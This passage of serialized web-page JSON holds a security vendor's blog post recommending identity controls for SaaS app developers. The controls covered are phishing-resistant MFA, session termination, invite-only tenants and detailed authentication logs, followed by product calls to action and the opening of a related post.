downgrade",{"data":147532,"marks":147533,"value":147534,"nodeType":865},{},[]," attacks.  ",{"data":147536,"content":147537,"nodeType":1317},{},[147538],{"data":147539,"marks":147540,"value":147542,"nodeType":865},{},[147541],{"type":926},"4. Support the use of domain-bound credentials (whether in the form of a passkey or MFA method) that are phishing resistant (FIDO key).",{"data":147544,"content":147545,"nodeType":866},{},[147546,147550,147559],{"data":147547,"marks":147548,"value":147549,"nodeType":865},{},[],"It’s no longer the case that simply having MFA is enough to stop identity attacks. The vast majority of phishing campaigns now make use of ",{"data":147551,"content":147553,"nodeType":889},{"uri":147552},"https://github.com/pushsecurity/saas-attacks/blob/main/techniques/aitm_phishing/description.md",[147554],{"data":147555,"marks":147556,"value":147558,"nodeType":865},{},[147557],{"type":943},"AitM toolkits designed to bypass MFA",{"data":147560,"marks":147561,"value":147562,"nodeType":865},{},[],". The only MFA methods considered to be phishing resistant are those using device-bound authentication methods such as passkeys/WebAuthn. However, only a handful of apps actually support these authentication methods. While the majority of SSO apps do support them, apps should provide support locally as well, particularly for B2C use-cases where enterprise SSO isn’t being used. ",{"data":147564,"content":147565,"nodeType":1317},{},[147566],{"data":147567,"marks":147568,"value":147570,"nodeType":865},{},[147569],{"type":926},"5. Allow active sessions to be viewed and remotely terminated by administrators.",{"data":147572,"content":147573,"nodeType":866},{},[147574,147578,147587],{"data":147575,"marks":147576,"value":147577,"nodeType":865},{},[],"Most apps have no way of viewing valid sessions and session activity, even as an administrator. With session hijacking attacks using ",{"data":147579,"content":147581,"nodeType":889},{"uri":147580},"https://github.com/pushsecurity/saas-attacks/blob/main/techniques/session_cookie_theft/description.md",[147582],{"data":147583,"marks":147584,"value":147586,"nodeType":865},{},[147585],{"type":943},"stolen session cookies",{"data":147588,"marks":147589,"value":147590,"nodeType":865},{},[]," on the rise, being able to (at the very least) terminate sessions that are suspected to have been compromised is key to effective incident response. In an ideal world, you would be able to view the properties of the session (such as the browser, IP, location that the session is being accessed from) to identify unusual or suspicious activity, which could in turn be leveraged by SecOps teams for their detection workflows. ",{"data":147592,"content":147593,"nodeType":1317},{},[147594],{"data":147595,"marks":147596,"value":147598,"nodeType":865},{},[147597],{"type":926},"6. Allow admins to prevent users with a matching domain from auto-joining a company tenant without being invited or approved by an admin, and notify when they do. ",{"data":147600,"content":147601,"nodeType":866},{},[147602],{"data":147603,"marks":147604,"value":147605,"nodeType":865},{},[],"Many apps do not provide the level of granular permissions that we’ve come to associate with enterprise cloud platforms — often because it simply isn’t necessary. This means that a lot of the time, the average user can access most, if not all of the data stored within an app. This is problematic if any user with a matching domain can join a company’s app tenant. This creates insider risk, as well as increasing the blast radius of ATO of an IdP account in terms of affected apps — it’s not just the apps they’re actively using, but any they can sign up to as well. ",{"data":147607,"content":147611,"nodeType":912},{"target":147608},{"sys":147609},{"id":147610,"type":909,"linkType":910},"SKchIQFHSWumQsORBYNs5",[],{"data":147613,"content":147614,"nodeType":866},{},[147615],{"data":147616,"marks":147617,"value":147618,"nodeType":865},{},[],"To address this, apps should allow admins to lock down their app tenant to be invite-only should they desire (and enable it by default), and at least issue email notifications to admins whenever a new user joins the company’s app tenant — prompting the admin to check that the event is expected. ",{"data":147620,"content":147621,"nodeType":972},{},[],{"data":147623,"content":147624,"nodeType":981},{},[147625],{"data":147626,"marks":147627,"value":147629,"nodeType":865},{},[147628],{"type":926},"Enable security teams to detect and respond to identity attacks",{"data":147631,"content":147632,"nodeType":866},{},[147633,147637,147646],{"data":147634,"marks":147635,"value":147636,"nodeType":865},{},[],"Security teams required to respond to incidents affecting SaaS apps are ",{"data":147638,"content":147640,"nodeType":889},{"uri":147639},"https://mayakaczorowski.com/blogs/what-sucks-in-security",[147641],{"data":147642,"marks":147643,"value":147645,"nodeType":865},{},[147644],{"type":943},"united in how painful it is",{"data":147647,"marks":147648,"value":147649,"nodeType":865},{},[],": ",{"data":147651,"content":147652,"nodeType":1616},{},[147653,147675,147685,147695],{"data":147654,"content":147655,"nodeType":1570},{},[147656],{"data":147657,"content":147658,"nodeType":866},{},[147659,147663,147672],{"data":147660,"marks":147661,"value":147662,"nodeType":865},{},[],"Many SaaS providers don’t offer audit logs at all (",{"data":147664,"content":147666,"nodeType":889},{"uri":147665},"https://audit-logs.tax/",[147667],{"data":147668,"marks":147669,"value":147671,"nodeType":865},{},[147670],{"type":943},"or charge extra for the privilege",{"data":147673,"marks":147674,"value":40358,"nodeType":865},{},[],{"data":147676,"content":147677,"nodeType":1570},{},[147678],{"data":147679,"content":147680,"nodeType":866},{},[147681],{"data":147682,"marks":147683,"value":147684,"nodeType":865},{},[],"Even when logs are available, they might be incomplete, like missing login events, or critical pieces of information in the event needed to decide whether it’s malicious or not.",{"data":147686,"content":147687,"nodeType":1570},{},[147688],{"data":147689,"content":147690,"nodeType":866},{},[147691],{"data":147692,"marks":147693,"value":147694,"nodeType":865},{},[],"The lack of standardization across tools creates ingestion challenges, with each app requiring custom development work.",{"data":147696,"content":147697,"nodeType":1570},{},[147698],{"data":147699,"content":147700,"nodeType":866},{},[147701],{"data":147702,"marks":147703,"value":147704,"nodeType":865},{},[],"The logs you really need can’t always be accessed programmatically. The provider might have them, but you’ll need to put in a request – that could take hours or days to respond to. ",{"data":147706,"content":147707,"nodeType":866},{},[147708],{"data":147709,"marks":147710,"value":147711,"nodeType":865},{},[],"All of this makes it very challenging to ingest meaningful security log data from SaaS and harness it for detection and response. Hours or days is an eternity when you’re in the midst of a live incident, and is inevitably going to result in a worse outcome for the business. ",{"data":147713,"content":147714,"nodeType":866},{},[147715],{"data":147716,"marks":147717,"value":147718,"nodeType":865},{},[],"MVSP specifies that authentication events should be logged (and for how long they should be stored), but practically there is little consistency in the types of event and the fields captured. App vendors should make sure that the data points they provide (and the format that logs are provided in) can be practically used by security teams. ",{"data":147720,"content":147721,"nodeType":1317},{},[147722],{"data":147723,"marks":147724,"value":147726,"nodeType":865},{},[147725],{"type":926},"7. Log detailed authentication/login information.",{"data":147728,"content":147729,"nodeType":866},{},[147730],{"data":147731,"marks":147732,"value":147733,"nodeType":865},{},[],"Authentication information is arguably the most important log source in the context of SaaS services which lack granular permissions management, because: ",{"data":147735,"content":147736,"nodeType":1616},{},[147737,147747],{"data":147738,"content":147739,"nodeType":1570},{},[147740],{"data":147741,"content":147742,"nodeType":866},{},[147743],{"data":147744,"marks":147745,"value":147746,"nodeType":865},{},[],"If you know a malicious user accessed the app, you can infer/assume the likely impact, and respond accordingly. ",{"data":147748,"content":147749,"nodeType":1570},{},[147750],{"data":147751,"content":147752,"nodeType":866},{},[147753],{"data":147754,"marks":147755,"value":147756,"nodeType":865},{},[],"Attacker behavior in-app is often indistinguishable from typical user behavior.",{"data":147758,"content":147759,"nodeType":866},{},[147760],{"data":147761,"marks":147762,"value":147763,"nodeType":865},{},[],"This means it’s vital to understand who accessed the app, at what time, and from where.",{"data":147765,"content":147766,"nodeType":866},{},[147767,147770,147779],{"data":147768,"marks":147769,"value":1449,"nodeType":865},{},[],{"data":147771,"content":147773,"nodeType":889},{"uri":147772},"https://eventmaturitymatrix.com/#salesforce-real-time-event-monitoring-urieventstream",[147774],{"data":147775,"marks":147776,"value":147778,"nodeType":865},{},[147777],{"type":943},"SaaS Event Maturity Matrix",{"data":147780,"marks":147781,"value":147782,"nodeType":865},{},[]," provides a great starting point when looking at the availability of authentication logs across different platforms. ",{"data":147784,"content":147788,"nodeType":912},{"target":147785},{"sys":147786},{"id":147787,"type":909,"linkType":910},"4NppB8YnmXHIQjvLwx79JW",[],{"data":147790,"content":147791,"nodeType":866},{},[147792],{"data":147793,"marks":147794,"value":147795,"nodeType":865},{},[],"We recommend that all providers include the following Authentication and MFA Verification log fields:",{"data":147797,"content":147801,"nodeType":912},{"target":147798},{"sys":147799},{"id":147800,"type":909,"linkType":910},"67uAYr6RA3DIr7mUCBgzyn",[],{"data":147803,"content":147804,"nodeType":866},{},[147805],{"data":147806,"marks":147807,"value":147808,"nodeType":865},{},[],"With this level of granular information it will be much easier for security teams to reliably differentiate malicious from legitimate access, independently or when combined with other data points:",{"data":147810,"content":147811,"nodeType":1616},{},[147812,147822,147832,147842,147852,147862],{"data":147813,"content":147814,"nodeType":1570},{},[147815],{"data":147816,"content":147817,"nodeType":866},{},[147818],{"data":147819,"marks":147820,"value":147821,"nodeType":865},{},[],"Identify suspicious logins due to location/impossible travel",{"data":147823,"content":147824,"nodeType":1570},{},[147825],{"data":147826,"content":147827,"nodeType":866},{},[147828],{"data":147829,"marks":147830,"value":147831,"nodeType":865},{},[],"Identify failed login attempts due to either credential or MFA failures, indicating possible credential stuffing attacks",{"data":147833,"content":147834,"nodeType":1570},{},[147835],{"data":147836,"content":147837,"nodeType":866},{},[147838],{"data":147839,"marks":147840,"value":147841,"nodeType":865},{},[],"Identify the IdP used to login to detect unapproved or unusual IdP logins (a possible indicator of cross-IdP impersonation)",{"data":147843,"content":147844,"nodeType":1570},{},[147845],{"data":147846,"content":147847,"nodeType":866},{},[147848],{"data":147849,"marks":147850,"value":147851,"nodeType":865},{},[],"Identify where an unexpected (less secure) MFA method is used, indicating a potential MFA downgrade attack",{"data":147853,"content":147854,"nodeType":1570},{},[147855],{"data":147856,"content":147857,"nodeType":866},{},[147858],{"data":147859,"marks":147860,"value":147861,"nodeType":865},{},[],"Detect risky changes to authentication such as initiating SAML configuration changes, tracking which user initiated it and when it completed",{"data":147863,"content":147864,"nodeType":1570},{},[147865],{"data":147866,"content":147867,"nodeType":866},{},[147868],{"data":147869,"marks":147870,"value":147871,"nodeType":865},{},[],"Differentiate active session location from the device/client/location of the original session (to detect session hijacking attacks)",{"data":147873,"content":147874,"nodeType":1317},{},[147875],{"data":147876,"marks":147877,"value":147879,"nodeType":865},{},[147878],{"type":926},"8. Make audit logs available in a format and using a mechanism that is easy to ingest into common security tools. ",{"data":147881,"content":147882,"nodeType":866},{},[147883,147887,147896],{"data":147884,"marks":147885,"value":147886,"nodeType":865},{},[],"Even where logs are available, security teams often have to wrestle with the format they are provided in to be able to make use of them. While JSON is pretty much the de facto standard nowadays, the absence of a common schema and field names is often the tricky part — complicated by the fact that there are multiple competing standards. At the very least, complying with at least one of the more established schemas (e.g. the ",{"data":147888,"content":147890,"nodeType":889},{"uri":147889},"https://www.elastic.co/guide/en/ecs/current/ecs-reference.html",[147891],{"data":147892,"marks":147893,"value":147895,"nodeType":865},{},[147894],{"type":943},"Elastic Common Schema",{"data":147897,"marks":147898,"value":147899,"nodeType":865},{},[],") will provide a level of standardisation to make things easier for security teams.",{"data":147901,"content":147902,"nodeType":866},{},[147903],{"data":147904,"marks":147905,"value":147906,"nodeType":865},{},[],"Arguably an even bigger challenge is pulling the events you actually need from the data — so making it possible to stream logs or access them programmatically to minimize collection delays is a key change that app developers can implement regardless of the schema used, that will make life easier for SecOps teams. With that in mind: ",{"data":147908,"content":147909,"nodeType":1616},{},[147910,147920],{"data":147911,"content":147912,"nodeType":1570},{},[147913],{"data":147914,"content":147915,"nodeType":866},{},[147916],{"data":147917,"marks":147918,"value":147919,"nodeType":865},{},[],"Login events indicating a potential identity attack should emit preconfigured webhook events to enable security teams to better detect and respond, (such as in the context of the use cases above). ",{"data":147921,"content":147922,"nodeType":1570},{},[147923],{"data":147924,"content":147925,"nodeType":866},{},[147926],{"data":147927,"marks":147928,"value":147929,"nodeType":865},{},[],"API access should also be provided to ensure that logs can be extracted to inform point-in-time investigations in the event of a suspected incident. (It’s no good if you have to request that certain logs be sent to you during a time-sensitive security incident.) ",{"data":147931,"content":147932,"nodeType":972},{},[],{"data":147934,"content":147935,"nodeType":981},{},[147936],{"data":147937,"marks":147938,"value":24422,"nodeType":865},{},[147939],{"type":926},{"data":147941,"content":147942,"nodeType":866},{},[147943],{"data":147944,"marks":147945,"value":147946,"nodeType":865},{},[],"The key takeaway here is that the scope for identity attacks and abuse could be significantly mitigated with a better standard of app-level controls. If you’re familiar with Push, you’ll recognize that many of our features compensate for these gaps in visibility and control — made necessary by the fact that so many apps don’t provide basic information about the accounts within your tenant, or give you any controls to manage authentication in accordance with your risk profile.",{"data":147948,"content":147952,"nodeType":912},{"target":147949},{"sys":147950},{"id":147951,"type":909,"linkType":910},"2skTQlf4ssC083ilExzKPW",[],{"data":147954,"content":147955,"nodeType":866},{},[147956],{"data":147957,"marks":147958,"value":147959,"nodeType":865},{},[],"If you agree with us and think that stronger identity controls around authentication and security logging are needed, then consider adding these suggestions to your procurement requirements when on-boarding new apps and services. ",{"data":147961,"content":147962,"nodeType":866},{},[147963,147966,147973],{"data":147964,"marks":147965,"value":21,"nodeType":865},{},[],{"data":147967,"content":147968,"nodeType":889},{"uri":16069},[147969],{"data":147970,"marks":147971,"value":118063,"nodeType":865},{},[147972],{"type":943},{"data":147974,"marks":147975,"value":147976,"nodeType":865},{},[]," to find out how Push can mitigate widespread application security gaps and secure your identity attack surface. ",{"data":147978,"content":147982,"nodeType":912},{"target":147979},{"sys":147980},{"id":147981,"type":909,"linkType":910},"34OTFgwuW60VWzW4FAqwXi",[],{"data":147984,"content":147985,"nodeType":866},{},[147986],{"data":147987,"marks":147988,"value":21,"nodeType":865},{},[],{"entries":147990},{"hyperlink":147991,"inline":147992,"block":147993},[],[],[147994,147997,148000,148015,148044,148051,148065,148099,148124,148132,148139,148153],{"sys":147995,"__typename":1414,"type":1415,"ctaText":147996,"buttonLabel":30703,"buttonColour":114626,"buttonUrl":110220},{"id":61666},"Get our latest ebook to learn about the evolution of identity attacks in 2024 and their role in public breaches. ",{"sys":147998,"__typename":1414,"type":1415,"ctaText":147999,"buttonLabel":131401,"buttonColour":1418,"buttonUrl":110363},{"id":147266},"Learn how Push provides defense in depth against identity attacks before account takeover.",{"sys":148001,"__typename":5503,"content":148002,"name":148014,"title":59},{"id":147334},{"json":148003},{"data":148004,"content":148005,"nodeType":1382},{},[148006],{"data":148007,"content":148008,"nodeType":866},{},[148009],{"data":148010,"marks":148011,"value":148013,"nodeType":865},{},[148012],{"type":926},"If you don’t take anything else away from this piece, this control alone will get rid of 80% of the complexity and room for vulnerabilities to creep in. ","MVSI insight box",{"sys":148016,"__typename":5503,"content":148017,"name":148043,"title":59},{"id":147384},{"json":148018},{"nodeType":1382,"data":148019,"content":148020},{},[148021,148036],{"nodeType":866,"data":148022,"content":148023},{},[148024,148028,148033],{"nodeType":865,"value":148025,"marks":148026,"data":148027},"We recently saw a great example of a practical solution to this problem — HubSpot have introduced a feature where any user that is no longer using a password to log in ",[],{},{"nodeType":865,"value":148029,"marks":148030,"data":148032},"will have their password removed automatically",[148031],{"type":926},{},{"nodeType":865,"value":6719,"marks":148034,"data":148035},[],{},{"nodeType":866,"data":148037,"content":148038},{},[148039],{"nodeType":865,"value":148040,"marks":148041,"data":148042},"This means that users consciously opting for more secure SSO-based logins will get the added benefit of the app automatically cleaning up unused login methods. This is an excellent QOL feature and demonstrates a real understanding of the security risk posed by ghost logins. ",[],{},"MVSP insight box",{"sys":148045,"__typename":1390,"title":148046,"caption":59,"layoutMode":59,"file":148047},{"id":147390},"HubSpot automatic password removal",{"url":148048,"width":148049,"height":148050},"https://images.ctfassets.net/y1cdw1ablpvd/1noqvZD8IxO8DLcYLu6uPb/b84a0e8bf80f009895d59d0e16454786/Group_542.png",1470,2078,{"sys":148052,"__typename":5503,"content":148053,"name":148064,"title":59},{"id":147422},{"json":148054},{"nodeType":1382,"data":148055,"content":148056},{},[148057],{"nodeType":866,"data":148058,"content":148059},{},[148060],{"nodeType":865,"value":148061,"marks":148062,"data":148063},"Using SAMLjacking, an attacker can turn the compromise of a low risk app/identity into a much more serious one by using it to capture SSO credentials for other users of the app. ",[],{},"MVSI Insight box 2",{"sys":148066,"__typename":5503,"content":148067,"name":148098,"title":59},{"id":147490},{"json":148068},{"nodeType":1382,"data":148069,"content":148070},{},[148071],{"nodeType":866,"data":148072,"content":148073},{},[148074,148078,148085,148089,148094],{"nodeType":865,"value":148075,"marks":148076,"data":148077},"One of the leading causes of identity breaches is when ",[],{},{"nodeType":889,"data":148079,"content":148080},{"uri":53259},[148081],{"nodeType":865,"value":6715,"marks":148082,"data":148084},[148083],{"type":943},{},{"nodeType":865,"value":148086,"marks":148087,"data":148088}," (usually a weak, breached or reused password) exist alongside a more secure login method (e.g. SAML SSO). These ghost logins can be exploitable either as a single factor, or with a weak/phishable MFA method. It doesn’t matter if your employees ",[],{},{"nodeType":865,"value":148090,"marks":148091,"data":148093},"typically",[148092],{"type":898},{},{"nodeType":865,"value":148095,"marks":148096,"data":148097}," log in with SAML, if insecure local logins exist alongside it — because attackers can take advantage of this. ",[],{},"MVSI insight box 3",{"sys":148100,"__typename":5503,"content":148101,"name":148123,"title":59},{"id":147610},{"json":148102},{"nodeType":1382,"data":148103,"content":148104},{},[148105],{"nodeType":866,"data":148106,"content":148107},{},[148108,148112,148119],{"nodeType":865,"value":148109,"marks":148110,"data":148111},"You might assume that a user with access to an IdP account also has access to the email connected to that account, but as we’ve seen with ",[],{},{"nodeType":889,"data":148113,"content":148114},{"uri":104059},[148115],{"nodeType":865,"value":113547,"marks":148116,"data":148118},[148117],{"type":943},{},{"nodeType":865,"value":148120,"marks":148121,"data":148122},", this isn’t necessarily the case. ",[],{},"MVSI insight box 4",{"sys":148125,"__typename":1390,"title":148126,"caption":148127,"layoutMode":59,"file":148128},{"id":147787},"MVSI: Example Okta login history logs","Example of Okta login history logs",{"url":148129,"width":148130,"height":148131},"https://images.ctfassets.net/y1cdw1ablpvd/2oRCAyYH72TfB2EsGxQDFK/325fceea5222e1404141e7ed89ba4b53/image1.png",1578,1418,{"sys":148133,"__typename":1390,"title":148134,"caption":59,"layoutMode":59,"file":148135},{"id":147800},"MVSI Recommended Logs",{"url":148136,"width":148137,"height":148138},"https://images.ctfassets.net/y1cdw1ablpvd/GWJoQawV0uYCn4vdVxcXy/00bae170edfc839c7e1f37427eb309c7/Screenshot_2025-02-10_at_12.00.14.png",1264,526,{"sys":148140,"__typename":5503,"content":148141,"name":148152,"title":59},{"id":147951},{"json":148142},{"nodeType":1382,"data":148143,"content":148144},{},[148145],{"nodeType":866,"data":148146,"content":148147},{},[148148],{"nodeType":865,"value":148149,"marks":148150,"data":148151},"This is certainly not intended as a definitive standard or exhaustive list of identity controls — but hopefully provides any app developers or standards authors with food for thought! We speak for other potential customers when we say that including these controls would make your app much more attractive to the security and compliance teams of prospective buyers. ",[],{},"MVSI insight box 5",{"sys":148154,"__typename":1414,"type":1415,"ctaText":148155,"buttonLabel":33569,"buttonColour":148156,"buttonUrl":16069},{"id":147981},"Book a demo to see how Push prevents and detects identity attacks across all apps your employees use. ","orange",{"items":148158},[],{},"8 ways app developers can mitigate identity-based attacks",{"url":148162},"https://images.ctfassets.net/y1cdw1ablpvd/5EErNKIkhkUn2Y9OCLlDjR/2e5c107747f8d881d87484577bfd895c/Dan_Blog_Thumbnail.jpg","2025-02-10T00:00:00.000Z",{"items":148165},[148166,149181,149811],{"__typename":1429,"sys":148167,"content":148168,"title":132583,"synopsis":132584,"hashTags":59,"publishedDate":132585,"slug":132586,"tagsCollection":149171,"authorsCollection":149177},{"id":131415},{"json":148169},{"data":148170,"content":148171,"nodeType":1382},{},[148172,148178,148225,148231,148234,148240,148246,148272,148282,148285,148291,148301,148307,148323,148328,148344,148350,148360,148377,148393,148399,148415,148420,148436,148439,148445,148452,148458,148474,148490,148496,148512,148518,148525,148546,148552,148568,148585,148590,148596,148612,148615,148621,148637,148653,148659,148707,148713,148716,148722,148729,148745,148761,148767,148774,148780,148797,148803,148809,148814,148819,148822,148828,148835,148841,148857,148866,148882,148888,148894,148903,148910,148916,148933,148938,148941,148947,148953,148959,149020,149026,149032,149038,149045,149062,149068,149073,149083,149100,149106,149113,149130,149136,149142,149147,149150,149156],{"data":148173,"content":148174,"nodeType":866},{},[148175],{"data":148176,"marks":148177,"value":131426,"nodeType":865},{},[],{"data":148179,"content":148180,"nodeType":1616},{},[148181,148197,148206],{"data":148182,"content":148183,"nodeType":1570},{},[148184],{"data":148185,"content":148186,"nodeType":866},{},[148187,148190,148194],{"data":148188,"marks":148189,"value":131439,"nodeType":865},{},[],{"data":148191,"marks":148192,"value":131444,"nodeType":865},{},[148193],{"type":898},{"data":148195,"marks":148196,"value":131448,"nodeType":865},{},[],{"data":148198,"content":148199,"nodeType":1570},{},[148200],{"data":148201,"content":148202,"nodeType":866},{},[148203],{"data":148204,"marks":148205,"value":131458,"nodeType":865},{},[],{"data":148207,"content":148208,"nodeType":1570},{},[148209],{"data":148210,"content":148211,"nodeType":866},{},[148212,148215,148222],{"data":148213,"marks":148214,"value":131468,"nodeType":865},{},[],{"data":148216,"content":148217,"nodeType":889},{"uri":131471},[148218],{"data":148219,"marks":148220,"value":131477,"nodeType":865},{},[148221],{"type":943},{"data":148223,"marks":148224,"value":131481,"nodeType":865},{},[],{"data":148226,"content":148227,"nodeType":866},{},[148228],{"data":148229,"marks":148230,"value":131488,"nodeType":865},{},[],{"data":148232,"content":148233,"nodeType":972},{},[],{"data":148235,"content":148236,"nodeType":981},{},[148237],{"data":148238,"marks":148239,"value":131498,"nodeType":865},{},[],{"data":148241,"content":148242,"nodeType":866},{},[148243],{"data":148244,"marks":148245,"value":131505,"nodeType":865},{},[],{"data":148247,"content":148248,"nodeType":866},{},[148249,148252,148259,148262,148269],{"data":148250,"marks":148251,"value":131512,"nodeType":865},{},[],{"data":148253,"content":148254,"nodeType":889},{"uri":131515},[148255],{"data":148256,"marks":148257,"value":131521,"nodeType":865},{},[148258],{"type":943},{"data":148260,"marks":148261,"value":131525,"nodeType":865},{},[],{"data":148263,"content":148264,"nodeType":889},{"uri":131528},[148265],{"data":148266,"marks":148267,"value":131534,"nodeType":865},{},[148268],{"type":943},{"data":148270,"marks":148271,"value":131538,"nodeType":865},{},[],{"data":148273,"content":148274,"nodeType":866},{},[148275,148278],{"data":148276,"marks":148277,"value":131545,"nodeType":865},{},[],{"data":148279,"marks":148280,"value":131550,"nodeType":865},{},[148281],{"type":926},{"data":148283,"content":148284,"nodeType":972},{},[],{"data":148286,"content":148287,"nodeType":981},{},[148288],{"data":148289,"marks":148290,"value":131560,"nodeType":865},{},[],{"data":148292,"content":148293,"nodeType":1317},{},[148294,148298],{"data":148295,"marks":148296,"value":131568,"nodeType":865},{},[148297],{"type":926},{"data":148299,"marks":148300,"value":2688,"nodeType":865},{},[],{"data":148302,"content":148303,"nodeType":866},{},[148304],{"data":148305,"marks":148306,"value":131578,"nodeType":865},{},[],{"data":148308,"content":148309,"nodeType":866},{},[148310,148313,148320],{"data":148311,"marks":148312,"value":131585,"nodeType":865},{},[],{"data":148314,"content":148315,"nodeType":889},{"uri":82201},[148316],{"data":148317,"marks":148318,"value":131593,"nodeType":865},{},[148319],{"type":943},{"data":148321,"marks":148322,"value":131597,"nodeType":865},{},[],{"data":148324,"content":148327,"nodeType":912},{"target":148325},{"sys":148326},{"id":131602,"type":909,"linkType":910},[],{"data":148329,"content":148330,"nodeType":866},{},[148331,148334,148341],{"data":148332,"marks":148333,"value":131610,"nodeType":865},{},[],{"data":148335,"content":148336,"nodeType":889},{"uri":131613},[148337],{"data":148338,"marks":148339,"value":131619,"nodeType":865},{},[148340],{"type":943},{"data":148342,"marks":148343,"value":131623,"nodeType":865},{},[],{"data":148345,"content":148346,"nodeType":866},{},[148347],{"data":148348,"marks":148349,"value":131630,"nodeType":865},{},[],{"data":148351,"content":148352,"nodeType":1317},{},[148353,148357],{"data":148354,"marks":148355,"value":79801,"nodeType":865},{},[148356],{"type":926},{"data":148358,"marks":148359,"value":2688,"nodeType":865},{},[],{"data":148361,"content":148362,"nodeType":866},{},[148363,148366,148374],{"data":148364,"marks":148365,"value":131647,"nodeType":865},{},[],{"data":148367,"content":148368,"nodeType":889},{"uri":67859},[148369],{"data":148370,"marks":148371,"value":131656,"nodeType":865},{},[148372,148373],{"type":943},{"type":926},{"data":148375,"marks":148376,"value":131660,"nodeType":865},{},[],{"data":148378,"content":148379,"nodeType":866},{},[148380,148383,148390],{"data":148381,"marks":148382,"value":131667,"nodeType":865},{},[],{"data":148384,"content":148385,"nodeType":889},{"uri":131670},[148386],{"data":148387,"marks":148388,"value":131676,"nodeType":865},{},[148389],{"type":943},{"data":148391,"marks":148392,"value":131680,"nodeType":865},{},[],{"data":148394,"content":148395,"nodeType":866},{},[148396],{"data":148397,"marks":148398,"value":131687,"nodeType":865},{},[],{"data":148400,"content":148401,"nodeType":866},{},[148402,148405,148412],{"data":148403,"marks":148404,"value":131694,"nodeType":865},{},[],{"data":148406,"content":148407,"nodeType":889},{"uri":6698},[148408],{"data":148409,"marks":148410,"value":131702,"nodeType":865},{},[148411],{"type":943},{"data":148413,"marks":148414,"value":131706,"nodeType":865},{},[],{"data":148416,"content":148419,"nodeType":912},{"target":148417},{"sys":148418},{"id":131711,"type":909,"linkType":910},[],{"data":148421,"content":148422,"nodeType":866},{},[148423,148426,148433],{"data":148424,"marks":148425,"value":131719,"nodeType":865},{},[],{"data":148427,"content":148428,"nodeType":889},{"uri":131722},[148429],{"data":148430,"marks":148431,"value":131728,"nodeType":865},{},[148432],{"type":943},{"data":148434,"marks":148435,"value":131732,"nodeType":865},{},[],{"data":148437,"content":148438,"nodeType":972},{},[],{"data":148440,"content":148441,"nodeType":981},{},[148442],{"data":148443,"marks":148444,"value":131742,"nodeType":865},{},[],{"data":148446,"content":148447,"nodeType":1317},{},[148448],{"data":148449,"marks":148450,"value":131568,"nodeType":865},{},[148451],{"type":926},{"data":148453,"content":148454,"nodeType":866},{},[148455],{"data":148456,"marks":148457,"value":131756,"nodeType":865},{},[],{"data":148459,"content":148460,"nodeType":866},{},[148461,148464,148471],{"data":148462,"marks":148463,"value":131763,"nodeType":865},{},[],{"data":148465,"content":148466,"nodeType":889},{"uri":54386},[148467],{"data":148468,"marks":148469,"value":131771,"nodeType":865},{},[148470],{"type":943},{"data":148472,"marks":148473,"value":131775,"nodeType":865},{},[],{"data":148475,"content":148476,"nodeType":866},{},[148477,148480,148487],{"data":148478,"marks":148479,"value":131782,"nodeType":865},{},[],{"data":148481,"content":148482,"nodeType":889},{"uri":131785},[148483],{"data":148484,"marks":148485,"value":8641,"nodeType":865},{},[148486],{"type":943},{"data":148488,"marks":148489,"value":46245,"nodeType":865},{},[],{"data":148491,"content":148492,"nodeType":866},{},[148493],{"data":148494,"marks":148495,"value":131800,"nodeType":865},{},[],{"data":148497,"content":148498,"nodeType":866},{},[148499,148502,148509],{"data":148500,"marks":148501,"value":131807,"nodeType":865},{},[],{"data":148503,"content":148504,"nodeType":889},{"uri":131810},[148505],{"data":148506,"marks":148507,"value":131816,"nodeType":865},{},[148508],{"type":943},{"data":148510,"marks":148511,"value":131820,"nodeType":865},{},[],{"data":148513,"content":148514,"nodeType":866},{},[148515],{"data":148516,"marks":148517,"value":131827,"nodeType":865},{},[],{"data":148519,"content":148520,"nodeType":1317},{},[148521],{"data":148522,"marks":148523,"value":79801,"nodeType":865},{},[148524],{"type":926},{"data":148526,"content":148527,"nodeType":866},{},[148528,148531,148539,148543],{"data":148529,"marks":148530,"value":131841,"nodeType":865},{},[],{"data":148532,"content":148533,"nodeType":889},{"uri":131844},[148534],{"data":148535,"marks":148536,"value":131851,"nodeType":865},{},[148537,148538],{"type":943},{"type":926},{"data":148540,"marks":148541,"value":131856,"nodeType":865},{},[148542],{"type":926},{"data":148544,"marks":148545,"value":14251,"nodeType":865},{},[],{"data":148547,"content":148548,"nodeType":866},{},[148549],{"data":148550,"marks":148551,"value":131866,"nodeType":865},{},[],{"data":148553,"content":148554,"nodeType":866},{},[148555,148558,148565],{"data":148556,"marks":148557,"value":131873,"nodeType":865},{},[],{"data":148559,"content":148560,"nodeType":889},{"uri":131876},[148561],{"data":148562,"marks":148563,"value":4793,"nodeType":865},{},[148564],{"type":943},{"data":148566,"marks":148567,"value":131885,"nodeType":865},{},[],{"data":148569,"content":148570,"nodeType":866},{},[148571,148574,148582],{"data":148572,"marks":148573,"value":131892,"nodeType":865},{},[],{"data":148575,"content":148576,"nodeType":889},{"uri":131895},[148577],{"data":148578,"marks":148579,"value":131902,"nodeType":865},{},[148580,148581],{"type":943},{"type":926},{"data":148583,"marks":148584,"value":131906,"nodeType":865},{},[],{"data":148586,"content":148589,"nodeType":912},{"target":148587},{"sys":148588},{"id":131911,"type":909,"linkType":910},[],{"data":148591,"content":148592,"nodeType":866},{},[148593],{"data":148594,"marks":148595,"value":131919,"nodeType":865},{},[],{"data":148597,"content":148598,"nodeType":866},{},[148599,148602,148609],{"data":148600,"marks":148601,"value":131926,"nodeType":865},{},[],{"data":148603,"content":148604,"nodeType":889},{"uri":110363},[148605],{"data":148606,"marks":148607,"value":131934,"nodeType":865},{},[148608],{"type":943},{"data":148610,"marks":148611,"value":131938,"nodeType":865},{},[],{"data":148613,"content":148614,"nodeType":972},{},[],{"data":148616,"content":148617,"nodeType":981},{},[148618],{"data":148619,"marks":148620,"value":131948,"nodeType":865},{},[],{"data":148622,"content":148623,"nodeType":866},{},[148624,148627,148634],{"data":148625,"marks":148626,"value":131955,"nodeType":865},{},[],{"data":148628,"content":148629,"nodeType":889},{"uri":4147},[148630],{"data":148631,"marks":148632,"value":53721,"nodeType":865},{},[148633],{"type":943},{"data":148635,"marks":148636,"value":1615,"nodeType":865},{},[],{"data":148638,"content":148639,"nodeType":866},{},[148640,148643,148650],{"data":148641,"marks":148642,"value":131972,"nodeType":865},{},[],{"data":148644,"content":148645,"nodeType":889},{"uri":3488},[148646],{"data":148647,"marks":148648,"value":131980,"nodeType":865},{},[148649],{"type":943},{"data":148651,"marks":148652,"value":131984,"nodeType":865},{},[],{"data":148654,"content":148655,"nodeType":866},{},[148656],{"data":148657,"marks":148658,"value":131991,"nodeType":865},{},[],{